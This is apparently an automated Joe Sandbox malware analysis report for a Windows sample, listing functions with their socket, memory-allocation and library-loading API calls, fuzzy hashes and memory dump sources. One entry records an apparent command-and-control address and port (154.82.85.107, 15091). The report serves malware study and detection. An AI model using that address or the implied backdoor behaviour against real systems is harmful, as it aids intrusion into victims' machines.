Instruction ID: 5e470c7fd02cf5e13f111c2fd5681a2ce0307aa824d9f7d8f1e3313021ba3ee0
Opcode Fuzzy Hash: 7952839fbf060ff651f40fa05c24b875876bd8e3d1511b26d96af8bef9aa660c
Instruction Fuzzy Hash: ADF06D7194320EAFDF00EFE1E86A7AAB7BCF704316F50019AD904D6245D7BA0148DBA5

Function 100155C0 Relevance: 4.5, APIs: 3, Instructions: 28networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?), ref: 10015552
WSACleanup.WS2_32 ref: 10015566
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 1001556E
connect.WS2_32(00000280,?,?), ref: 10015594
closesocket.WS2_32(00000280), ref: 100155A9
freeaddrinfo.WS2_32(00000000), ref: 100155C9
WSACleanup.WS2_32 ref: 100155D9
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 100155E1

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Cleanupexit$closesocketconnectfreeaddrinfosocket
String ID:
API String ID: 2176086335-0
Opcode ID: 31cdd7d84edd926fbab02f43dc40615c1f458f31985033d2ed90bc99502f0a45
Instruction ID: 936c76793dfa74d26cdff9f771fb93b9bb5aba2917ce267f62b899282f39a517
Opcode Fuzzy Hash: 31cdd7d84edd926fbab02f43dc40615c1f458f31985033d2ed90bc99502f0a45
Instruction Fuzzy Hash: 0EF05E74A00618DFE700CFA4C988A5DB3B2FB48316F24C285E8199B3A0C771DF81DB50

Function 02713200 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 15sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 02713200

Strings

15091, xrefs: 02730254
154.82.85.107, xrefs: 0273026C

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Sleep
String ID: 15091$154.82.85.107
API String ID: 3472027048-3399520398
Opcode ID: 346f4c3b72b9b8faead9f385b39b067f2181ff5a50a09f7fbfe99b3dcb0271c3
Instruction ID: 871022e1907b7e72c99ef89ae3b4e58289dcc5436175b1f18f164d0622c30bc8
Opcode Fuzzy Hash: 346f4c3b72b9b8faead9f385b39b067f2181ff5a50a09f7fbfe99b3dcb0271c3
Instruction Fuzzy Hash: F9D022F0A40531ABFB2D852088A6637FB71BF803143880508E88BA7280C3B07D0CCBE0

Function 02717156 Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 0271715B

Part of subcall function 02719896: GetLastError.KERNEL32(00000001,00000000,02717112,02716F0C,00000000,?,02719FB0,00000000,00000001,00000000,?,0271C0CF,00000018,02727C70,0000000C,0271C15F), ref: 0271989A
Part of subcall function 02719896: ___set_flsgetvalue.LIBCMT ref: 027198A8
Part of subcall function 02719896: __calloc_crt.LIBCMT ref: 027198BC
Part of subcall function 02719896: DecodePointer.KERNEL32(00000000,?,02719FB0,00000000,00000001,00000000,?,0271C0CF,00000018,02727C70,0000000C,0271C15F,00000000,00000000,?,027199BA), ref: 027198D6
Part of subcall function 02719896: GetCurrentThreadId.KERNEL32 ref: 027198EC
Part of subcall function 02719896: SetLastError.KERNEL32(00000000,?,02719FB0,00000000,00000001,00000000,?,0271C0CF,00000018,02727C70,0000000C,0271C15F,00000000,00000000,?,027199BA), ref: 02719904

__freeptd.LIBCMT ref: 02717165

Part of subcall function 02719A58: TlsGetValue.KERNEL32(?,?,02717711,00000000,02727B60,00000008,02717776,?,?,?,02727B80,0000000C,02717831,?), ref: 02719A79
Part of subcall function 02719A58: TlsGetValue.KERNEL32(?,?,02717711,00000000,02727B60,00000008,02717776,?,?,?,02727B80,0000000C,02717831,?), ref: 02719A8B
Part of subcall function 02719A58: DecodePointer.KERNEL32(00000000,?,02717711,00000000,02727B60,00000008,02717776,?,?,?,02727B80,0000000C,02717831,?), ref: 02719AA1
Part of subcall function 02719A58: __freefls@4.LIBCMT ref: 02719AAC
Part of subcall function 02719A58: TlsSetValue.KERNEL32(00000023,00000000,?,02717711,00000000,02727B60,00000008,02717776,?,?,?,02727B80,0000000C,02717831,?), ref: 02719ABE

ExitThread.KERNEL32 ref: 0271716E

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Value$DecodeErrorLastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 4224061863-0
Opcode ID: 8fa20365b7c87c205c9bbe7198933d8bba65baaf6696e7d700041c504c0b2c6f
Instruction ID: 6e000c26b2903532d1844b99d14c3dd0d22067441194a936990437313b84af0d
Opcode Fuzzy Hash: 8fa20365b7c87c205c9bbe7198933d8bba65baaf6696e7d700041c504c0b2c6f
Instruction Fuzzy Hash: F6C02B3040020CFBDB25373ECC1D80F3A5F9DC0304B918410FA08C1040DF70E802C955

Function 0307F964 Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 0307F969

Part of subcall function 03083DE2: GetLastError.KERNEL32(00000001,00000000,0307F920,0307F6FC,00000000,?,03084500,00000000,00000001,00000000,?,03088DE6,00000018,03096448,0000000C,03088E76), ref: 03083DE6
Part of subcall function 03083DE2: ___set_flsgetvalue.LIBCMT ref: 03083DF4
Part of subcall function 03083DE2: __calloc_crt.LIBCMT ref: 03083E08
Part of subcall function 03083DE2: DecodePointer.KERNEL32(00000000,?,03084500,00000000,00000001,00000000,?,03088DE6,00000018,03096448,0000000C,03088E76,00000000,00000000,?,03083F06), ref: 03083E22
Part of subcall function 03083DE2: GetCurrentThreadId.KERNEL32 ref: 03083E38
Part of subcall function 03083DE2: SetLastError.KERNEL32(00000000,?,03084500,00000000,00000001,00000000,?,03088DE6,00000018,03096448,0000000C,03088E76,00000000,00000000,?,03083F06), ref: 03083E50

__freeptd.LIBCMT ref: 0307F973

Part of subcall function 03083FA6: TlsGetValue.KERNEL32(?,?,030810F0,00000000,03096278,00000008,03081155,?,?,?,03096298,0000000C,03081210,?), ref: 03083FC7
Part of subcall function 03083FA6: TlsGetValue.KERNEL32(?,?,030810F0,00000000,03096278,00000008,03081155,?,?,?,03096298,0000000C,03081210,?), ref: 03083FD9
Part of subcall function 03083FA6: DecodePointer.KERNEL32(00000000,?,030810F0,00000000,03096278,00000008,03081155,?,?,?,03096298,0000000C,03081210,?), ref: 03083FEF
Part of subcall function 03083FA6: __freefls@4.LIBCMT ref: 03083FFA
Part of subcall function 03083FA6: TlsSetValue.KERNEL32(00000025,00000000,?,030810F0,00000000,03096278,00000008,03081155,?,?,?,03096298,0000000C,03081210,?), ref: 0308400C

ExitThread.KERNEL32 ref: 0307F97C

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Value$DecodeErrorLastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 4224061863-0
Opcode ID: 37ae46181baaa6eda29f61a861ad175eeb05afab63d09c712ab0df92630580f9
Instruction ID: 0b1fb6e4073cd461dc99505a4e864e1d37ab8b17ef45cf62c954fe24f99af642
Opcode Fuzzy Hash: 37ae46181baaa6eda29f61a861ad175eeb05afab63d09c712ab0df92630580f9
Instruction Fuzzy Hash: 98C08C2C0063097B8B107731980894A3A5C9EC06007140010A8088D040DE28DC0080A0

Function 02EF01CB Relevance: 3.3, APIs: 2, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 02EF022B

Memory Dump Source

Source File: 00000005.00000002.4134547256.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2ef0000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction ID: 74d6010ac56dde56779d5fd572020cc6df36c91747142b8755be1f7aa9d0117d
Opcode Fuzzy Hash: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction Fuzzy Hash: 5DA17F70A41606EFDB54CFA9C880AAEB7F1FF48308F149069E615DB356E730EA50CB90

Function 02713350 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 02713403
_memmove.LIBCMT ref: 02713495

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: 2e8c464e0f98c50793b062f82301dc62c12c4261c57b9249cbad5cfdecff57ea
Instruction ID: 110caf925e6e30bd548f69e28f09606f34a4d7dd2093c37ce890bcb5599a424d
Opcode Fuzzy Hash: 2e8c464e0f98c50793b062f82301dc62c12c4261c57b9249cbad5cfdecff57ea
Instruction Fuzzy Hash: D5519A727002019FD726CF6DC8C5A7AB7AABF8831471486ADED1A9B704DB31F851CB90

Function 03073360 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 03073413
_memmove.LIBCMT ref: 030734A5

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: 8b7c67a28dc406bdc9c6371948cb2fd1d4fc011a53ff9f0a0610e3ee878f1546
Instruction ID: 83042353fe8bfde18464f5564cc3f847452aefef57cf83ae3dc5b5ec9f3a61ed
Opcode Fuzzy Hash: 8b7c67a28dc406bdc9c6371948cb2fd1d4fc011a53ff9f0a0610e3ee878f1546
Instruction Fuzzy Hash: 8E51D77AB012019FE729CF69C8C096AF7A9FF8421071885ACE919CBB04D731F851C7D8

Function 0040CA88 Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000000,0040CB9F,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040CC26,00000000,?,00000105), ref: 0040CB33
GetSystemDefaultUILanguage.KERNEL32(00000000,0040CB9F,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040CC26,00000000,?,00000105), ref: 0040CB5B

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: DefaultLanguage$SystemUser
String ID:
API String ID: 384301227-0
Opcode ID: 20e8ba98e2816f8af13bed9515c1d960020764da17156fa36e2f3308999935a6
Instruction ID: 44e41ead65ef66f727125de80912159cd7281fcfb7f7393cce7e535fa76c4ae3
Opcode Fuzzy Hash: 20e8ba98e2816f8af13bed9515c1d960020764da17156fa36e2f3308999935a6
Instruction Fuzzy Hash: D4312E70A10209DBDB10EB99D8C2AAEB7B5EB44304F50467BE400B72D5DB78AD45CB99

Function 02712FB0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 02713023
recv.WS2_32(?,?,00040000,00000000), ref: 02713044

Part of subcall function 0271710D: __getptd_noexit.LIBCMT ref: 0271710D

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: d15647cb759708b97f700eb667779d0a682ce3cbfa27f8111b5caba48d97cfe4
Instruction ID: aa16727692bf80cf6cd3b02c9b8f795453bb5835377798b823588c75ac20d64d
Opcode Fuzzy Hash: d15647cb759708b97f700eb667779d0a682ce3cbfa27f8111b5caba48d97cfe4
Instruction Fuzzy Hash: 1021D3B0E00208DBDB25DF2CDC88B9A77B6EF44725F1001E4E515AB190DBB0AD84CFA1

Function 03072FD0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 03073043
recv.WS2_32(?,?,00040000,00000000), ref: 03073064

Part of subcall function 0307F91B: __getptd_noexit.LIBCMT ref: 0307F91B

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: dfde4c9adb0f997db322e9fa07fcdd159c17fc03b3bd51b30bc5f7244f5a73f1
Instruction ID: 3720c996353063e6240282ad354b2a0e5cd05efce2d3d1f3f303266247c0e2b6
Opcode Fuzzy Hash: dfde4c9adb0f997db322e9fa07fcdd159c17fc03b3bd51b30bc5f7244f5a73f1
Instruction Fuzzy Hash: 4721B479D02308ABEB30EF69DC94BDA77A4EF44310F1845E5E5045F190D770A984CBE9

Function 03073260 Relevance: 3.1, APIs: 2, Instructions: 60networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00040000,00000000), ref: 03073291
send.WS2_32(?,?,?,00000000), ref: 030732CE

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: e63ca6b0c43f1bd22bd9c7459bac59aec1ee0db9e8dc870929731db2fbede22b
Instruction ID: 1e256672028033f50410ba4a0a6071e33ecd694d26bc58bcab535da82cf9ec6d
Opcode Fuzzy Hash: e63ca6b0c43f1bd22bd9c7459bac59aec1ee0db9e8dc870929731db2fbede22b
Instruction Fuzzy Hash: B511E57AF07304B7E760CA6ADC89B9EB7DDFB81264F1440A5E908D7280D2719942A698

Function 100135C0 Relevance: 3.1, APIs: 2, Instructions: 58COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000022,00000040,1001304F,000000FF,?,1001304F,00000040,00000022,?), ref: 100135F7

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Fiopen@std@@U_iobuf@@
String ID:
API String ID: 2284775142-0
Opcode ID: 4f9c097bd9ff1fc27bc4b621ca56d4494d79341367a5276cc761d7329a66d7a3
Instruction ID: 655dba523039e8c1ca7b53558f86e7561812b5aaf6b8d3e237c0567069c37aa1
Opcode Fuzzy Hash: 4f9c097bd9ff1fc27bc4b621ca56d4494d79341367a5276cc761d7329a66d7a3
Instruction Fuzzy Hash: 08213AB5D04209EFCB04DF98CC81BAEB7B4FB48750F108628E526A7390D735AA50CBA0

Function 0040CBAC Relevance: 3.1, APIs: 2, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040CC66,?,00400000,0065DC28), ref: 0040CBE8
LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040CC66,?,00400000,0065DC28), ref: 0040CC39

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileLibraryLoadModuleName
String ID:
API String ID: 1159719554-0
Opcode ID: 4383079db15fcd8ef662a46fade05db089f3147d55ebe15ae5cef73a62b66191
Instruction ID: c1507673094f8c5292584a269d2518184869565b67f53896f9c973a0a4d881f3
Opcode Fuzzy Hash: 4383079db15fcd8ef662a46fade05db089f3147d55ebe15ae5cef73a62b66191
Instruction Fuzzy Hash: 8411BF70A4420CABEB10EF60CD86BDD73B8DB04704F5041BAB408B32C1DA385F80CA99

Function 027130C0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 027130EA
timeGetTime.WINMM ref: 02713104

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 17644261f8f2ea678b36258984e6219596e11905b4bf9f7dca3c67d7ff61212b
Instruction ID: 07eccf90e14672777b8acf3800388b76fc21d853fab8b9c5368cdf2245c0fa63
Opcode Fuzzy Hash: 17644261f8f2ea678b36258984e6219596e11905b4bf9f7dca3c67d7ff61212b
Instruction Fuzzy Hash: 8F01D431600609EFD724CF29D8C8BADB7B5FF59305F244264E5009B280C771A9D5C7D1

Function 030730E0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 0307310A
timeGetTime.WINMM ref: 03073124

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 0346912d0a2d34d6aa8db5adb3c99e162bda0c620433e117039941e44d96bf2c
Instruction ID: 6bfe12b804034c11092360436fd5248905540e1c3fe40756469286f918ad3853
Opcode Fuzzy Hash: 0346912d0a2d34d6aa8db5adb3c99e162bda0c620433e117039941e44d96bf2c
Instruction Fuzzy Hash: DD01DF39A0120ABFE315DF28C8C8BA9F7A9FB99301F1842A5D1048B680C735A9D6D7D5

Function 02716410 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,?,00000000,02715AF2), ref: 0271642B
_free.LIBCMT ref: 02716466

Part of subcall function 02711280: __CxxThrowException@8.LIBCMT ref: 02711290
Part of subcall function 02711280: DeleteCriticalSection.KERNEL32(00000000,?,02727E78), ref: 027112A1

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: d2bbf2aa721f114251104c6910637086deae85c933c4be868d38b06a03e86fbc
Instruction ID: 9954b14dcdc31069d3e5eb2789a35be1032f91c0d929ffd2de948a12ef8778c2
Opcode Fuzzy Hash: d2bbf2aa721f114251104c6910637086deae85c933c4be868d38b06a03e86fbc
Instruction Fuzzy Hash: 66018CF1A00B408FC7319F6A9844A07FAF8FF98710B108A1ED6DAC7A10D374A149CF95

Function 0307CD00 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,0307E04E,00000000,03079800,?,?,?,00000000,0309125B,000000FF,?,0307E04E), ref: 0307CD1B
_free.LIBCMT ref: 0307CD56

Part of subcall function 03071280: __CxxThrowException@8.LIBCMT ref: 03071290
Part of subcall function 03071280: DeleteCriticalSection.KERNEL32(00000000,0307D3E6,03096624,?,?,0307D3E6,?,?,?,?,03095A40,00000000), ref: 030712A1

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: 4c53b61631f531b02aef240f0948d1144d9147213f88b6babf81145a111df3b3
Instruction ID: 541ac0f29ade99a06c7807f6a7bbe64bc1c375e1f86dc2294b90d074dae7de09
Opcode Fuzzy Hash: 4c53b61631f531b02aef240f0948d1144d9147213f88b6babf81145a111df3b3
Instruction Fuzzy Hash: C2017AB0A02B449FD330DF6A9844A47FAE8BF98700B104A1ED2DACAA10D374A505CF55

Function 00428614 Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042861E
LoadLibraryW.KERNEL32(00000000,00000000,00428668,?,00000000,00428686,?,00008000), ref: 0042864D

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
